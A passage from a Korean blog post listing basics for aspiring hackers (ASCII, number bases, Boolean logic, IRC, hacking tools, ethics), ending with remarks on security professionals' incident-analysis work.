아스키 코드는 컴퓨터에서 일반적으로 사용되는 문자 256개를 숫자 0-255에 매핑시킨 것이다.
모든 문서 파일의 기본이 되며 어떤 해커는 이 255개의 모든 문자를 외우고 다니는 사람도 있다.
외우면 무엇이 좋으냐고? 당연히 컴퓨터 조작과 프로그래밍을 빠르게 할 수 있다.

26. X진수 연산

진법은 아주 기본이 되는 것이다.
특히나 2진수와 16진수간의 변환은 빠르면 빠를 수록 좋다.
2의 16승까지 정도는 외우고 있어야 한다.
이것도 빠르면 빠를 수록 프로그래밍을 빠르게 한다.
계산기가 있는데 무슨 말이냐고 할지 모르지만
외우고 있는 사람과 못외우는 사람은 차이가 많이 난다.

27. Bool 연산

불 연산은 논리연산을 수행하기에 적합하도록 만든 수학이다.
필수라고 말하기는 그렇지만 이것도 알아두면 프로그래밍시 조건식 판단에서 상당히 빠르고 견고한 작업을 할 수 있다.

28. IRC

IRC는 일종의 채팅이다.
많은 해커들이 IRC에서 채팅을 하고 얘기를 나누며 의견을 교환하고 자료를 공유하고 있다.
해커들이 자주 찾는 IRC를 알아 두었다가 그곳에 자주 들리며 자기 입지를 조금씩 넓혀 가는 것도 좋겠다.

29. 해킹 툴

일부 해커는 이것에 반감을 가지고 있을 수도 있다.
해킹 툴을 사용한다는 것은 훌륭한 해커들에게는 일종의 모욕이다.
하지만 난 사용하라고는 하지 않았다.
단지 알아야 한다고 말하는 것이다.
알아야만 피할 수 있고, 그 해킹툴에서 사용하는 보안 취약점과 기법들을 배울 수 있다.
또한 간단한 방법이 있다면 어려운 방법을 굳이 선택할 이유는 없다. 툴에만 얽매이는 것은 위험한 것이지만 이해를 한 상태에서 동작 시키는 것은 우리가 계산을 하기 위해서 컴퓨터를 사용하는 것과 다를 바가 없다.
"세상에는 해결해야할 문제가 산재해 있다."

30. 기본 윤리

윤리가 바탕이 되지 않은 해커는 결국 크래커가 되고 만다.
왜냐하면 해커라는 존재는 과거의 말썽장이와 이단아의 이미지를 넘어서 이제는 권력에 어느 정도 접근하고 있다.
컴퓨터에 대한 능력은 사회적으로도 많은 인정을 받고 있으며 존경을 받는 입장에까지 이르고 있다.
이런 마당에 기본 윤리가 바탕이 되지 않은 해커는 권력을 탐하는 썩은 정치가들 마냥 그 권력을 엉뚱한 곳에 사용하게 될 것이다.
진정으로 존경받는 해커가 되고자 한다면 결국 윤리적인 사람이 되어야 한다.차가운 컴퓨터를 다루는데에도 따뜻한 가슴이 필요하다.

해커라는 직업은 불법으로 자행되는 일에 대하여 사고 분석을 하여 대응 방법론을 제시하는 매니저라고 볼 수 있습니다. 국내 같은 경우 정보보안 전문가가 많이 부족한 실정입니다. 예를 들어 말을 한다면 청와대, 국정원에서 사용되고 있는 보안 제품을 있는데 외산 제품이라고 가정을 했을 경우 국내 보안 매니저를 그 제품을 컨트롤 할 수 없어 외국에 있는 인력을 불려 장비를 점검을 하게 되는데 이때 OS, Network등 각각의 전문가들이 각각 맡은 분야만 작업을 하게 됩니다. 이때 지불되는 비용이 시간당 천불이 되기도 합니다. 국내처럼 한사람이 모든일을 하지를 않는게 외국의 현황임

이에 보안전문가도 역시 한 부문만을 맡아서 업무를 진행을 하게 됩니다. 침해사고의 로그정보를 분석을 하여 문제점을 파악을 하게 됩니다. 이에 분석된 자료에 의거하여 방법론을 제시를 하게 됩니다.
이에 필요한 시스템 점검을 하게 됩니다.



출처 : 사이버 연구랩

자동차보험,의료,보험,대출,미용,금융,법률,부동산,중고자동차,무료듣기,건강,돈,국민임대아파트

Posted by CodeChef
TAG 보안, 해킹

댓글을 달아 주세요